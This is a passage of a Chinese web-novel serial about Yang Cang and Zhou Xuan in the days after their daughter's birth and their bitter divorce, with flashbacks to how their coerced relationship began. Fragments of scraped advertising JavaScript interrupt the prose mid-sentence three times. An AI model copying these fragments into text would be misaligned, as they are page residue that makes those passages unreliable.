杨沧昏昏沉沉,不知道自己是什么时候睡着的,等她再醒来,外面已经又黑下来了,淅淅沥沥的声音,正下着一场秋雨,雾气腾腾,从她的角度看黑茫茫的窗外,只浮着一层白,远处什么也看不清了。 混沌的世界陷入一片缭绕雾气中,也吞没着她悬浮的心。 房间只开着床头昏暗的黄色壁灯,婴儿床里孩子还在睡,王玉莲一只手搭在床的围栏上,身子半斜,靠着墙壁已经睡着。 嘀嗒嘀嗒…… 极细微的声音从卫生间传来,透过门缝,回荡在空旷安静的房间里。 水龙头没关紧,漏下的水滴声绵延不绝,她睡眠浅,荡在她的耳边把她刺醒,拉回肉|体的沉沉疼意和现实的混乱不堪中。 她嗓子发音,只出来一阵哑声。手术到现在,她连棉签上的水都没沾过。 王玉莲睡得仰头流哈喇子,根本听不见一点。 她看向孩子,术后的争执吵闹过去,她第一次细细看孩子。 她和周轩的孩子。 不像。 既不像她,也不像周轩。 别人总说她眉眼张扬凌厉,朝人看过来时没有表情却透着些尖锐跋扈,一个女人和她的名字一样像个男的。 至于周轩,他自视甚高,稳定又沉着,好像这世间再纷繁杂乱的事都能如一缕清风在他眉间拂过,不勾起半分蹙动。 而床上的小孩,眉毛的颜色极浅,几乎隐在了白皙滑嫩的脸上,所以既不会有妈妈的尖锐,更没有爸爸的冷漠。她的脸圆圆的,胖乎乎的小脸蛋像两个白色的小汤圆,看上去手感极好又Q弹,而她和周轩虽算不上很瘦削,但脸上也不可能有这么显稚气的肉嘟嘟,软软糯糯的透着乖巧可爱。 她睡觉好静,没了白天喋喋不休哭闹的她,看上去顺眼多了。 杨沧撇撇嘴,陌生和异样的情感流淌心口,倒不是生出了些许母性,只是对这小孩陌生之余更添了几分纳罕。 她…… 真的是她和周轩的。 这么小小一团,却有他们血液的连接。 她盯着,眼里的热度又慢慢冷下来,目光变得复杂的落在她身上。 翌日,周轩从家里来医院。 换了一身整齐干净的衣服,整个人的精神状态比拿到离婚证前还要好上许多,只不过脸上狼狈的伤还是那么引人注目。 他面不改色,穿过医院的人群,任人打量。 病房里,杨沧正在喂孩子吃奶,眉宇间卷着浓浓的戾气,王玉莲在旁边,低气压迫使她也不敢开口。 杨沧生产的时候贫血,血库紧急调了血,生完后奶|水又不够,好不容易有一些了孩子也不好好吃。 刚看顺眼一点的孩子又在她怀里尖锐的哭,房间里回荡着令人浑身不舒服的声音。 随着周轩走进,她瞥了他一眼,眉目深深。 周轩脚步不停,去卫生间洗了手过来,“我来吧。” 他接过孩子递给月嫂后去冲奶粉。 杨沧冷冷看着他动作:“你冲,看她喝不喝的进去。” 昨天喂了母乳,今天再喂奶粉就有难度了,奶瓶上的奶嘴相较乳|头而言会更硬一些,刚出生的孩子吸过乳|头,就不乐意用力吸奶嘴。 周轩并不搭腔,兑了奶粉晃动奶瓶。 杨沧抿唇,嘴更显干裂,水就在床边,忙着照顾孩子的王玉莲没有注意到。 她瞪着对面的男人。 周轩没有表情地看过来,像看一个全然的陌生人,不带任何感情色彩。 杨沧被刺了一下,心口又泛起密密麻麻的疼意。 她不是没见过他照顾人,不是不知道他原本是个多么体贴细心的人。 同样是在医院,那时,他的初恋躺在病床上。 周轩站在床边,俯身拿着棉签沾了水往她的唇上润,眉目温柔,眼里带笑,仔细小心的让她干渴的唇得到解救。 一次急性肠胃炎,吓得两人后半夜都没睡好。 周轩背着她一路从学校到医疗站,慌慌张张,稳定下来时后背早已是一身湿汗。 女孩羞恼地看他,想到自己昨晚拉着他不停说“阿轩, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好疼,你抱抱我”,脸便更红了,轻恐吓:“别看啦,小心下次我也这么盯着你。” “好啊。”周轩笑着应的很快,“我不怕疼。” 棉签润在她的红唇上,如水的黑眸望着她,轻道:“别再疼着你了。” 女孩羞怯,脸更红了。 门外透过窗户静静偷窥这一场幸福的杨沧僵在那里,不可置信的看着周轩眉宇间的缱绻温柔,瞳孔里泛出汹涌奇异的狠光,手里攥着的袋子几乎要被她扯烂。 此时此刻,她的唇干裂发白,她为他生的孩子就躺在旁边,而他袖手旁观,毫无怜惜。 杨沧像一块干涸的大地,干裂的不止她的唇,脸上强撑的冷淡几乎在他冷漠的注视下就要龟裂,从胸口溢出的血液在四肢百骸游走,无法润泽她半分,反而有抽筋剥骨的疼痛。 她移开脑袋,终于在和他的对视里败下阵来。 周轩才道:“王嫂,孩子我来喂吧,你去给她喂点水。” 她? 杨沧冷笑。 在他的语境里,她连孩子妈这个称呼都不配出现。 杨沧终于喝到一些水,王玉莲大手大脚,有水顺着她嘴角往下流低落到脖颈间。 “啊小姐……”王玉莲注意到,手忙脚乱的拿纸擦拭。 杨沧透过王玉莲慌乱抖动的肩膀看向她后面的周轩,怀里抱着孩子喂她喝奶,对她这里发生的一切只作漠视。 低喃,轻哄,眉眼温顺的轻垂,身上只散着春风般的柔意。 杨沧浑身发冷,心重重往下坠,漆黑幽深的瞳眸里席卷着某股风暴几乎要将她吞噬。 “小姐,你冷吗?”王玉莲诧异,看了看空调的温度,正合适啊。 杨沧白着脸闭上了眼,没有说话。 王玉莲偷偷瞥了眼并不往这里看一眼的周轩,心里各种揣测浮上心头,却也不敢说什么,小心翼翼走开了。 大概就连婴儿都对周轩稀少的温柔无可抵抗,在他柔软的循循善诱里,闹着不喝奶粉的小婴儿乖乖吃了饭,又入睡了。 “周轩,孩子妈的奶水缺得厉害,我们得备点母乳储存着。”王玉莲说。 周轩让她不必在称呼上客气,虽是主顾,但她的年龄辈分直接叫他也没什么问题。她对这个没什么架子,学问又高的男主人是又敬又怕,男人不说话冷心冷血无视妻子的那个劲,她看着也咂舌。 周轩:“可以,怎么弄?” 王玉莲:“这个简单,吸|奶器都买好了,我教你。” 她心里赞叹,他当爸爸是称职的,即便是个高级研究员,却也一点不介意向她这个没上过几天学的请教带孩子问题。 这东西操作起来不麻烦,不过就是拿着吸|奶器放在孩子妈的乳|房上吸,难的就是这个吸久了杨沧会疼的难受。 “杨小姐,你看……” 杨沧早已如去了毛的猪一样放在手术台上,此时袒胸露|乳丧失尊严的躺在那里任人摆弄又算什么。 “没事,来吧。”她说。 王玉莲必须去洗昨天婴儿用脏的被子等东西,放久了还有味道,这任务得交给了周轩。 偌大的房间,除了熟睡的孩子,一时只剩她俩人。 为了方便,周轩把床往上搅了些,杨沧靠床坐着,被子褪到腰间。 看着他走过来,杨沧慢慢解开上衣扣子,母乳泅湿大片胸罩就那样暴露在他眼底。 无端的,她想起他第一次解开时的场景。 同样在医院,不过却是住院部的斜对面,一家四星级酒店。 那时,她捏着他的下巴,将他的目光拧到对面医院,巧笑嫣然,危险丛生。 “你初恋的母亲就在里面动手术,想必她此时正坐在门外掉眼泪呢。” 她怜悯地说着,得寸进尺的笑意里不见任何关怀。 “要是不想看你的小女友哭的更伤心,作为男朋友,你是不是该有点行动啊。” 周轩冷冷看她。 “嗯?” “你就这么缺男人?”周轩问。 清大博士后站点工作的人,说话还是一如既往的委婉。 杨沧笑的更灿烂了。 她点点他好看的鼻子,明眸善睐道:“是我花了大价钱,要睡了你。” 5. 你给我机会了吗 5.你给我机会了吗? 久违的回忆在周轩冰冷的手解开内|衣扣的时候打碎,她看向近在眼前的男人,同样的距离,一年后的男人眉眼间的厌恶与嘲讽更浓。 因他的手靠近不自觉发热的脸在一点点凉下。 周轩手顿住,挑眉看她,在意识到发生了什么后,那双冷漠的眼神里浮出了嘲弄的笑,微妙打量着她。 这视线像一巴掌,把刚才她心底压抑不住浮出的羞赧、跳动彻底撞碎。她看着他深邃黑眸里的自己,脸色仓惶发白,像一场马戏演到最后依旧自我欺骗的跳梁小丑。 杨沧心一沉,往后靠躲开他眼里狼狈的自己。 他的手按住她裸露在外的肩,“别动。” 身体被定在那,像牢牢钉在了十字架上,四肢都不再是自己的。 周轩俯身,拿了吸|奶器靠过来,对准她的胸部放上。 干净、清清冷冷的味道跟着浮来,恍若夏日黎明破晓时森林里浮起的薄雾水汽,是他身上常有的1957的味道。 杨沧闻到他身上的香水,脸色更加难看。 两人距离最近就是发生关系时,即便周轩本不该对她的身体陌生,却也从未这样长时间近距离以这样一个姿势靠过来,目光几乎就只能落在那个范围。 “我来。”杨沧抬手要去扶吸|奶器,动作太快,扯到了腹部的伤口,拧眉嘶了一声。 周轩抬眸,“你要是能,就你来。” 手术到现在,她无法进食,更没有多少力气,她如果强撑着要去扶,显然周轩也不会拒绝。 她低眸与身前人对视,抿唇头撇到一边,心脏却无法抑制地跳动的更快,他靠的太近,清浅的呼吸如羽毛轻轻扫在上面。 他的手就按在左侧,杨沧几乎觉得他就要听到那咚咚的心跳声了。 她心里无奈又凄惶地发笑。 即便到了这个时候,这颗心还会因为他的气息轻而易举的变了跳动的节奏。 她四处摸索手机,好让自己忙碌起来。 开机,手机静悄悄,关机两天,除了几个工作消息,并没有什么人会来找她,她点开朋友圈,以减轻旁边的人巨大的存在感。 无聊的手在扒拉了十几条朋友圈后忽然顿住,突然停下的动作让她更像是石化在了那里。熟悉的头像让她的手比眼睛快,尚未反应过来时已经停在了他的朋友圈上。 从来不发个人生活的周轩发了张照片,她目光牢牢的钉在上面,泛白的指尖压在手机侧身不停颤抖。 那张红色艳丽的离婚证就那样大喇喇的摆在那里,像一枚勋章般缀在他的头像后。 初出茅庐,在一个几乎不可能的年龄获得国家科技进步一等奖,站在大会堂领奖,被同行认为天才的他没有为巨额奖金发过朋友圈。 靠自己的努力,在寸土寸金的清城峰千区买了107平房子的他没有为房产证发过朋友圈。 愤恨痛苦,终于在无可挽留的时候和初恋说分手的他没有舍得为女友离开的背影发过朋友圈。 她杨沧,何德何能,让周轩为她发了条朋友圈。 她死死盯着手机里的照片,几欲泣血,快把自己疯狂愤怒的灵魂都盯出来了。 偶尔在朋友圈转几条科研文章的周轩,朋友圈的点赞数总是寥寥,以至于杨沧还调侃过他辛酸可怜的人际关系。 而此时此刻,这张离婚证下面的点赞数几乎占据一整个屏幕,那是他们结婚时她加上的他的一些同事朋友,杨沧不敢想,加上不是共同好友的人,有多少人在为周轩和她的离婚而欢呼。 巨大的悲伤和嘲讽裹挟着杨沧,她袒胸露乳的坐在这个男人眼皮子底下,他冷漠的表情,甚至比不上一个木头桩子立在他跟前。男人平静的眉眼里哪有她的身影,似乎奶瓶刻度线上的数字都比她更有诱惑力。 她冷的身体忍不住发抖。 周轩看过来,目光落在她手机页面上,没有什么情绪变化,又落回在吸奶器上。 她的身体忽然有巨大的失重感席卷而来,仿佛从万米高空坠落,身下没有任何能接住她的东西,天旋地转,大脑咚咚咚的就要炸开。 眼前的字在跳动,她狠狠的把藏在被子里的掌心掐出了血,才定下心神看清评论里的字。 卢成和:不错啊兄弟,困住你的终将使你强大。 赵倩然:师兄,虽然离婚不是一个值得庆祝的事,但我想,你还是有更值得的人,未来的路还很远,师门都希望你能越来越好! 于梦秋:举双手赞成倩然师姐的话,师兄,不要忘了,最好的人还在等着你哦[眨眼wink.jpg] 刘俊哲:我好像记得,半年前见你老婆,她不是怀了吗? 尤建:兄弟!难怪你请一周的假,闷声干大事啊!老周,你终于不用活在你老婆阴影下了,涅槃重生,以后活的像个男人。 尤建:[手臂.jpg][手臂.jpg][手臂.jpg] 尤建回复刘俊哲:真的假的,我怎么不知道,不可能吧。 …… 评论密密麻麻有好几页,杨沧从未见过周轩朋友圈有如此盛况,以前他寂寥的朋友圈在此时仿若一个热帖,高楼建了一层又一层。 她从不知道他的人际关系如此广,当时为了更接近他加的许许多多人一早被她忘到了九霄云外,添加后便从未联系过,大概那些人也不记得还加过她的好友,此时倾巢出动,热烈欢呼,好似一场大型的庆功盛宴。 杨沧的手指慢慢滑动评论,浑身冰冷颤抖的身体已经在一次次重击中变得麻木,她无比清楚,这个不动声色,看似对什么都不在乎的男人在报复她,在回应她送给他的三次巴掌。 会咬人的狗不叫,没有人比她更清楚,周轩手有多狠。 那么多条评论,他一条也没回复,只在最上面,淡淡的写了四个字: 谢谢大家。 毋庸置疑,和她离婚,是一场完美解脱,是众人的欢呼,是他的感恩鸣谢。 昨天,他谢她,今天,他谢大家。 她汲汲营营,精心谋略争抢来的婚姻,一年到头,只变成了这可笑的四个字。 盛怒过后,她感觉自己沸腾的血已经不会再流动,泛白的指尖敲打着手机键盘,讥诮着回复那些人的她依旧强势逼人。 回复尤建:他一直是个男人,经检验还很不错,不然我不会结婚半年就产子,倒是你,要是像个男人,我不会夺他不夺你。 回复刘俊哲:是啊,孩子昨天生的,婚昨天离的,也算他双喜盈门了。 回复于梦秋:最好的人?既然那人那么好当初怎么还把他拱手让给我? …… 脾气暴烈的杨沧好像有了无限的耐心,安静地回复着每一条评论,而那些评论,正在以肉眼可见的速度减少。 两分钟后,盖了高楼的评论几乎删尽,他朋友圈的一溜点赞也默默消失了。 不过如此,杨沧嘲讽地抬头看他,手机朝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他晃了晃。 周轩扫了眼,表情依旧没变化。 她讥讽:“你实验室都一群什么货色?” 她说话嘲讽意味很浓,看着他再次空荡荡的朋友圈,并没有鏖战胜利的喜悦。 周轩头也没抬,“他们实验能力很强。” “呵。一群撺掇人离婚的傻逼们。” 周轩手顿了下,抬头:“看,这才是我们离婚原因。” “原因?呵。” “我们离婚,难道是你说的算?”杨沧挑眉,“周轩,是我提的离婚。” 她并没有太得意,然而这已经是她唯一可以死守的勉强胜利。 周轩表情淡淡,“嗯”了声。 杨沧的手在被窝里流血,她感觉不到太浓烈的疼意,身上刚缝合的伤口还在作恶,掌心丑陋的疼痛似乎都不算什么,反正这张干硬发冷的白色床单,也每天被红色的血液浇灌。 吸完奶后,没过多久孩子就又醒了。 刚才用奶瓶喂,她饿极了也只喝了一点点。 听到声音,杨沧让他把孩子抱过来。 大概是汹涌的怒气在身体里四处撞击无处消散,只能顺着奶水汹涌流出,本不多的奶水此时饱胀,就是不知孩子喝进去,裹挟着父母间浓烈的怨气,会不会是辣或者苦的。 然而,对这来之不易的奶水,孩子也不好好喝。 杨沧即便再尖锐强硬,对这么一个软团子也无可奈何。 周轩见状,只能把刚吸的奶水灌倒奶瓶里,“再试试这个。” 果然,也无济于事。 杨沧晃动身体,像电视剧里看到的母亲那样,温柔小心的哄着,好一会,孩子终于嘬着□□开始喝了。 陌生的触感,被这样一个小孩吸着。 他也曾经…… 杨沧抬头看向周轩,从他冰冷的脸,落到他的薄唇。 她抿了抿唇,张嘴又是咄咄逼人:“还在这干嘛,不快去找你最好的人。” 说完,她已经后悔。 这么低能的话,就连她都听出了令人倒胃口的酸意。 周轩抬眸看过来,依旧是不搭腔她的话,只伸手要接她手里的奶瓶。 再一次的忽略,一瞬间积压许久的暴怒从身体里迸发,她受够了他的漠视。 在他的手将要碰到奶瓶时,她扬手把他递来的母乳砸到墙面,“开心吗?能和初恋再续前缘了。两个高级研究员,当然比我有共同话题。” 空荡的房间里响起噼里啪啦的声音,对面米黄色的墙上奶水绽开,半面墙都被打湿,奶白色的液体顺着冰冷的墙面往下流,在地面延伸出两人感情沟壑的纹路。 突如其来的声音,惊得孩子都在她怀里抖了下,周轩却是漠然地看看她,然后转身清扫破碎杯子,不发一言。 任由她的暴怒、愤懑、委屈,在她的身体里四处撕扯撞击,把她变得面目全非直到失去理智成为一个毫无体面的疯婆子。 杨沧看着他的冷漠,长久的情绪积攒到极点,懦弱的眼泪还是落下。 强扭一年,原来她还是没习惯他眼里始终没她。 她大力鼓掌:“周轩,我祝你自由。” 周轩沉默扫地的动作顿了几秒,背影如常,只淡漠的声音传来:“我也谢谢你……的帮忙。” “文化人钱都不会说?嫌弃铜臭你当初别答应啊。”她讥嘲。 周轩终于回身看她。 “杨沧,你给我机会了吗?” 6. 孩子的名字 6.孩子的名字 周轩在论文中了《Nature》,随后不到四个月科研项目获得国家科技进步一等奖前,不过是一个寂寂无名,家境窘迫的寒酸博士,在这个该给家里当劳动力挣钱的年纪,还在搞着尚一文不值、焦头烂额没有结果的研究。 每个月1250的博士生补助加上boss带着的科研项目还没搞出名堂,在清城这个出门动辄上千的高消费城市,周轩的捉襟见肘撞上父亲工地摔了腿,他不得不争分夺秒的挤出时间找兼职。 四个小时的睡眠都算奢侈,这天晚上他从酒吧出来,跟着去了两条街外的24小时便利店。当初选择这个晚上的工作就是因为清闲,没人的时候他可以继续看资料。 实验失败了一次又一次,他分明看到希望,又再一次站在机器面前看着他废掉的材料。 问题找了一晚上,资料翻来覆去的看,漫漫长夜,刚过了年没消的寒风依旧凛冽,随着门缝溜进,轻轻的关门声,有人停在他跟前。 他抬头,清秀干净的女人笑眯了眼,温柔地看他,甜美的唇角半掩在她柔软的暖黄色围巾里。在她的身上,看不到搞科研的蓬头垢面,总是精神十足,娇俏可爱,像个阳光明媚的大一新生,而不是校园里熬了十年的学姐。 “别看了,先吃早餐吧。” 傅一璇提溜着一个热乎乎的豆浆和两个白胖大包子,便利店里也卖这些,还有咕嘟嘟滚的关东煮,但她每次来都要给他带些不同的早餐,用她的话来说,女朋友拎过来的刚出锅的热乎乎包子,哪是这些预制包子能比的。 傅一璇和他在同一个组里,项目停滞不前,家庭条件和他如出一辙的她也不得不挤出时间做点临时的兼职。 不过相对他通宵在便利店待着,做家教的傅一璇显然更轻松,挣得也多一些。 周轩以前也做过家教去过辅导班,不过后来都由于他的脾气和觉得浪费时间而不了了之了,他宁愿在便利店里一晚晚的熬时间还能看会资料,也好过给那些不开窍的蠢学生上课磋磨精神刺激血压。 把东西给他,傅一璇寻到落地窗边的桌子上,腾出手吃她的早餐。 这家便利店开在十字路口旁,周围是老旧居民区,住户一般都更喜欢附近的烟酒超市或者惠邻便利店这类型的,这个连锁的24小时便利店平时生意一般,倚仗的就是马路对面有几家酒店,正对着的酒店档次最高,常有年轻人过来买烟买|套,生意倒还不算太差,不过店里的员工只有两个,晚上是他,白天到了八点便会有人来接他的班,傅一璇再和他一起回学校。 周轩顾不上吃饭,把早餐放一边,继续分析手头的数据。傅一璇埋着脑袋,两颊鼓鼓囊囊,像个小仓鼠一样嚼着香菇白菜包,动作大却没有吵闹声音,便利店静悄悄,末冬的阳光洒在明亮的便利店里。 两人各自做着自己的事情,空气中弥漫着清晨的饭香味,气氛安闲静谧。 叮。 随着推门声,周轩合上东西看向来人。 半开的门卷着冬日的冷风袭来,清城三面环海,是个风景优美的海边城市,这里又离海格外近,清晨的北风总会卷着一丝海水的腥咸,潮湿的雾气中隐约有死鱼烂虾的味道。 这座城市的人早已对大海的味道麻木,但久居内陆的周轩显然还未适应。 对味道极敏感的他很浅的簇了下眉,目光跟着落在了拉门进来的女人身上,在凌冽的风里,她穿着一袭吊带红裙,肩头懒懒地搭着一个灰棕色的披肩,长长的流苏一路迤逦到腰间,纤细的胳膊肘反倒露在了寒风里。 女人漆黑的目光落在他身上,又扫了下一览无余的便利店,张扬靓丽的面容从窗户边安静吃早餐的白衣羽绒服女孩身上离开,看向他大喇喇问:“胸贴有吗?” 周轩:“有,最里面那排,往下看。” 杨沧懒懒地靠上收银台,没动,红唇轻挑,“你去,有什么款式都拿来我看看。” 周轩视线落在她恣意含笑的脸上,打工的日子里什么顾客他没见过,把便利店逛成商场的也不算稀奇。 周轩依言去做,女人把五个不同类型的胸贴摊开在桌上,用酒红色长美甲一个个划拉着看。 “这里哪个好用?”她脸上不见兴趣。 周轩平静指了中间:“这个卖的最好。” 她摇头:“小。” 周轩不语。 女人又问:“你女朋友不就在这,她用的哪个,推荐推荐?” 身后干饭的小仓鼠一顿,傅一璇闻声看过来,女人回头朝她眨眼笑了笑,艳丽妩媚:“你不是吗?” 傅一璇一呲溜咽下那粉条,莹白脸蛋开始红了,呐呐地看向周轩,欲语还休的目光带着点可爱羞涩。 杨沧垂下眼睫,拿起中间胸贴,打断道:“多少钱?” 周轩操作电脑出库,“付款码……” 话未说完,一张红色票子进入眼底。 “现金。” 周轩接过,找零。 杨沧没接,看着那一大堆零钱说:“太碎了,你留着当小费吧。” 说罢,扫了眼他桌上还热乎乎的新鲜包子,顺手拿起来,“这个不错,我吃了。” 周轩拦住,从她手里夺回包子,然后强硬地把那一把零钱塞进她手里。 “这些钱你可以买加热柜里的包子,或者出门捐了扔了,这里不收小费。” 杨沧看着他打开包子慢条斯理地开始吃,手里那把零碎的五十二十一块躺在掌心,傅一璇呆呆地看着这边,轻道:“阿轩,噎不噎,你喝点水再吃。” 杨沧对加热的预制包子不敢兴趣,无所谓的耸耸肩,手虚虚拢着那把钱,推门出去就给了旁边拎着满满一菜篮子菜过来的银发老太太。 老太太一愣,惊喜地看着突然掉落手中的意外之财,回过神来激动地紧紧攥牢,然后看着红裙女人穿过马路上了对面橄榄绿豪车,嘴里不住声地喊:“谢谢,谢谢。” 那辆豪车已经疾驰而去,只留下呆呆站在便利店门口的老太太,她满脸动容与感激的看着皱纹斑驳的手掌间上放着的钱。 周轩对这老人并不陌生,因为她经常早早出门,去路东的菜市场买这个点挑拣完后便宜的剩菜,买满满一大筐,还不到别人一半的价格,上了年龄的,来捡剩菜的并不在少数。只因为这老人就住在路西小区里,每天早晨都要经过这家便利店,然后再在这个时间点拎着一大兜子蔫巴的菜回去,步履蹒跚,背影佝偻。 傅一璇瞠目结舌的看着窗外,想到刚才发生的事,感慨道:“阿轩,女人漂亮又有钱,就是能活得任性。” 她开玩笑说着,那眼里一闪而逝的艳羡黯然周轩却没错过。 他没说话,视线犹落在门口那几乎要喜极而泣的老人面孔上。 有意思的是,今天天刚微微亮,老人挎着篮子去菜市场时,在超市门口绊了一下摔倒了,周轩听到动静后要起身出去搀扶,老人按着地晃晃悠悠已经站起来了。 大概是和家里人吵架了,老太太因心不在焉导致的摔倒发火,嘴里骂骂咧咧说着家里那个娶进来的丧门星时,瞥到路对面昏暗光影都压不住的炫酷豪车时,嫉妒愤懑情绪跟更浓烈,瞧着那外型设计显然是女性开的车说:“真是没天理,我天天指甲缝里攒点钱还要被家里那些白眼狼惦记,这些骚狐狸精跟男人睡一觉就能过这么好,欺负人,太欺负人……” 老太太絮絮着走远了,周轩便门边又走回了柜台后。 学校常 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有捡纸盒的老人,给几个快递箱子就要谢谢半天,更别提直接给钱了。周轩不意外这人的反应,却不知为何,那天那老太太皱纹拥簇的脸上挤出的感恩戴德的那副神情,牢牢镌刻在了他的记忆里。 之后数次,在面对杨沧的强硬尖锐时总会想起,跟着喉头涌起恶心。 就像现在,他看着暴怒的杨沧,反问她“你给我机会了吗”的时候,那个腐朽老人脸上的感恩戴德又在他眼前闪过,不知为何让他想起曾经在学校里喂过的一条流浪狗,他只是随手给了些吃的,他便朝他摇首摆尾,缠了他好一阵。 他好似被喂了泔水,胃里翻江倒海的让他想要呕吐。 周轩收了扫帚,把吃完奶就呼呼睡着的孩子放回婴儿床,转身出去洗脸。 推门正撞上万齐枝要进来,身后依旧跟着田妈,同他打招呼,只不过也只是口头喊了声“周先生”。 周轩颔首让两人进来。 万齐枝目光从床上怒气冲冲的杨沧,扫到对面湿了一片的墙,好似不觉这里的暗潮涌动,又或者早习惯这对怨侣的折腾,面不改色的说:“坐着干什么,快躺下。” 田妈上前把床搅下来,周轩出门冷水洗了把脸,喉头涌起的一波波恶心在冰冷的水里才算压下去一些。 万齐枝闲闲地坐在床边,“又置什么气呢?” 杨沧闭着眼,并不理她,只有胸口明显的起伏表示那汹涌的怒气还未消。 万齐枝乐了声,玩着手上的美甲,瞧着道:“杨沧,别太没出息了,为个男人把自己磋磨成这样。” 她一向对女儿期许颇高,作为家里的独女,杨沧也向来心比天高,万万没想到在个穷小子身上重重跌了个跟头。 “婚好不容易都离了,这泥窝里爬出来还得沾些泥点子,那些穷亲戚甩都甩不掉,你可别蠢到又让他们沾染上你。” 这是还在为昨天杨沧对复婚的事松口做计较,她以前天天盼着杨沧清醒,但是她自己的女儿她清楚,做了什么决定八头牛都拉不回来,现在好不容易离了婚,绝对不能再和这么一家子人纠缠到一块了。 她絮絮说着,像对着一具早已凉了的尸体发牢骚,除了杨沧还能看见的呼吸,她冰冷发白的脸和一动不动的状态,说死了也不过分。 豪华温馨的VIP病房,像一间停尸房,阴冷、沉闷、逼仄。 随着推开的门,终于搅散了阵阵阴风。 周轩刚从出生证明办理那里过来,他去走孩子的一些手续,第一步就要出生证明。 在办理柜台后,女人看了他一眼,问:“爸爸是吧,你家孩子叫什么?” 周轩顿了下,“抱歉,我过会来办理。” 女人见过不少这情况,说:“名字想好了再来。” 周轩拿着手里的资料回去,医院的电梯里总是那么多人,有一对夫妻也是刚从出生证办理那里过来,两人喜滋滋的讨论着孩子的名字。 女人不断重复着:“王欢喜,王欢喜,是不是太土了这名字。” 男人不乐意,“怎么土了,人生常欢,浮世随喜,我就想我家女儿天天都欢欢喜喜的,有什么土不土的,再说了,这名字里可都是她爸对她满满的爱。” “行行行。”女人好笑道:“就由不得别人说两句你起的名字不好。” “哼。”男人得意昂首,“我的女儿,当然得我来起。” 他骄傲说着,手还扶着女人的腰,昨天生产完已经下地走路的女人还是得小心呵护。 两人笑成一团,眉眼里都是年轻夫妻的甜蜜快乐。 银白色的电梯里,冰冷倒映着周轩面无表情的脸庞。 孩子的名字。 即便不离婚,自然也是杨家人才能决定。 7. 无用的女婿 7.无用的女婿 周轩带来的问题,总算打破了病房里的沉闷。 万齐枝兴致昂扬的和田妈讨论外孙女的名字,一连说了十多个,都被杨沧给pass了,就连王玉莲都开始出谋划策,说起自己以前雇主孩子的名字都叫什么,有什么寓意。 杨沧没有参与,只时不时说个不表示否定。 周轩从进来说了要孩子姓名后,便好似再和自己没有关系了,先去买了新的吸奶器,后又去办了其他能走的住院手续,接着抱着醒来的孩子在病房里悠了几圈,最后又重复上午的工作,拿吸奶器接了母乳。 中间两人不曾说过后,病房里只有万齐枝和这个那个讨论外孙女名字的声音,只言片语的,没有问过周轩。 他似乎也不在意此事,在万齐枝被杨沧连否了几十个名字垂下脸扫兴离开后,无事可做的他打算去楼下吃饭,然后回去。 医院并不需要他留宿,杨沧显然也不想他留下。 “名字我想好了。”要走的周轩被她的话拦住。 他回头,看向中午还歇斯底里的杨沧。 “什么?”他同样一派平静。 两人总是这样,就像他们的婚姻,一次次尖锐到互捅刀子,然后又像什么都没发生一样风平浪静。只有终于破碎的婚姻,表达了它在一个又一个深刻的洞孔后的不堪重负。 “杨雾。”杨沧的目光从漆黑的窗外移开,落向周轩沉静的脸上。 “雾,大雾的雾。” “好。”他点点头,没有问为什么也没有提出意见,只是像听到了一个指令后机械去做便可以,他回头,推门就走了。 王玉莲闻言,心里喜悦又好奇,作为旁观者讨论这么久都想问一句怎么起了这么个名字,但看两人这相处方式,又觉心惊肉跳,什么话都噎在了嘴里。 证明办理处,周轩重复:“杨雾,大雾的雾。” 登记员随口攀聊,“怎么起了这个名字?” 现在的女孩起名风尚是语柠、瑾萱、沐曦这样的,温温柔柔,一看就很女气,令人怜惜喜欢。 周轩没有回答。 登记员自己先回答了句,“哦,对,昨天晚上医院附近雾特别大,借景抒情,对得上,也挺有纪念意义的。” 因为出生遇见下雨下雪,名字便带“雨、雪”的也不在少数。 周轩接回出生证明,看着上面的“杨雾”二字。 名字,他孩子的名字。 事实上,从杨沧说“杨雾”,还没有补充是哪个字时,他便知道是哪个字了。 昨晚他从医院出来已经不早了,周围雾茫茫却也没到看不见路的程度,他找到车往家回,凌晨漆黑安静的清城,路上的车稀少,雾气越来越弄,前路茫茫,整个世界都陷在混沌的白雾里,他像是陷在一场梦魇里,周围缥缈雾气里藏着阴森不定的黑暗,好似蛰伏的洪水猛兽要随时蹦出将人吞噬。 他开了雾灯,按了双闪,平均时速不超过30的往家里去。 只见那雾越来越大,几乎要将他包裹一般。 清城很少起这么大的雾,在一场秋雨后,随着降温而来的是被白雾包裹的虚无。 一束黄色的车灯穿行在白雾里,穿透力差的可怜,他看不清前路,就像看不清他这一场荒唐的婚姻过后的路是什么样。 只有一片漆黑,混沌不堪。 周轩把出生证明给了杨沧后,两人没有任何交流,他就离开医院了。 杨沧拿着出生证明,握着这个与她血脉相连的孩子在这个世界的证明静静看了一会,最后给王玉莲,让她放进了柜子里。 第二日万齐枝来,发表了一会对这个名字的不满意,不过木已成舟,她絮叨一会就没再说什么了,又挑剔起周轩的毛病来。 “这都几点了,这当爸的怎么还没来?搞科研的心还能这么大,亲生女儿在医院,自己在家睡觉啊。” 人就是这么有趣,周轩来的时候,万齐枝视他为无物,嫌恶他在眼皮子底下出现碍眼,他若是没来,那更是哪哪都不舒服,只觉得他占了便宜白捡了个女儿,她杨家吃尽了亏。 因此哪怕万齐枝不想看见周轩,更不想她和自己女儿再有牵连,但这人真当甩手掌柜了,她也是一万个气不顺。 杨沧低头喝着乌鸡汤,只当没听见她刻意的抱怨。 过一会,门开了,周轩进来。 万齐枝阴阳了几句,周轩像是早已习惯与麻木,自行做自己的事。帮孩子洗衣物,给孩子换尿不湿,替孩子擦洗身子,手总是不闲着,也是个眼里很有活的爸爸。 万齐枝却笑了,“周轩,咱请有月嫂,你这当爸爸的,怎么净干些佣人的活。” 王玉莲闻言害臊,生怕雇主是指桑骂槐说她偷懒,赶紧上前拦住周轩说:“周先生你快别忙活了,这些事我来干就行。” 她来之前,中介就已经给她交代过,这家女主人喜欢清净,打发走了之前安排给她坐月子的医生护士、身材管理师、三四个保姆等人,只最后勉强挑了她。这份超出行业水平的钱不好挣,她不仅得眼皮子灵活,更要学会看主人眼色,学会隐身给她清闲。 